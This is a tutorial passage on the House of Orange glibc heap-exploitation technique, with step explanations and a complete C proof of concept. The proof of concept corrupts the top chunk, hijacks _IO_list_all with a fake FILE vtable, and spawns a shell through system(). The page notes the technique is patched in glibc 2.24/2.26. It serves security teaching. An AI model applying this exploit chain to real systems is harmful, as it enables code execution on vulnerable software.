The House of Orange is a legendary heap exploitation technique that achieves arbitrary code execution by corrupting the _IO_list_all pointer and exploiting the FILE structure mechanism. This technique is notable for achieving code execution without ever calling free(), making it powerful in constrained environments.
Patch Status: This technique was patched in glibc 2.26 when malloc_printerr was changed to no longer call _IO_flush_all_lockp.
Allocate a chunk larger than the corrupted top chunk size. This forces sysmalloc to mmap new memory and free the old top chunk.
char *p2 = malloc(0x1000);// Old top chunk is now freed into unsorted bin!
3
Corrupt the freed top chunk
Use overflow to corrupt the old top chunk’s fd and bk pointers, and set its size.
// Calculate _IO_list_all address from heap leakio_list_all = top[2] + 0x9a8;// Set bk to _IO_list_all - 0x10top[3] = io_list_all - 0x10;// Set size to 0x61 for smallbin[4]top[1] = 0x61;
4
Create fake FILE structure
Set up a fake FILE structure in the old top chunk with proper fields.
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/syscall.h>/* The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer It requires a leak of the heap and the libc Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html*/int winner ( char *ptr);int main(){ char *p1, *p2; size_t io_list_all, *top; fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"); // Allocate a chunk p1 = malloc(0x400-16); // Corrupt the top chunk size // The top chunk size must be page aligned and PREV_INUSE must be set top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; // Allocate a chunk larger than the corrupted top chunk size // This forces sysmalloc and frees the old top chunk p2 = malloc(0x1000); // Calculate _IO_list_all address (from heap leak + known offset) io_list_all = top[2] + 0x9a8; // Corrupt the old top chunk's bk pointer // When malloc tries to sort the chunk, it will overwrite _IO_list_all top[3] = io_list_all - 0x10; // Write /bin/sh at the start of our fake FILE structure memcpy( ( char *) top, "/bin/sh\x00", 8); // Set the size to 0x61 so it goes to smallbin[4] top[1] = 0x61; // Set up the fake FILE structure FILE *fp = (FILE *) top; // Set mode to 0: fp->_mode <= 0 fp->_mode = 0; // Set write_base and write_ptr: fp->_IO_write_ptr > fp->_IO_write_base fp->_IO_write_base = (char *) 2; fp->_IO_write_ptr = (char *) 3; // Set jump table pointer and _IO_OVERFLOW entry size_t *jump_table = &top[12]; jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // Trigger the exploit malloc(10); return 0;}int winner(char *ptr){ system(ptr); syscall(SYS_exit, 0); return 0;}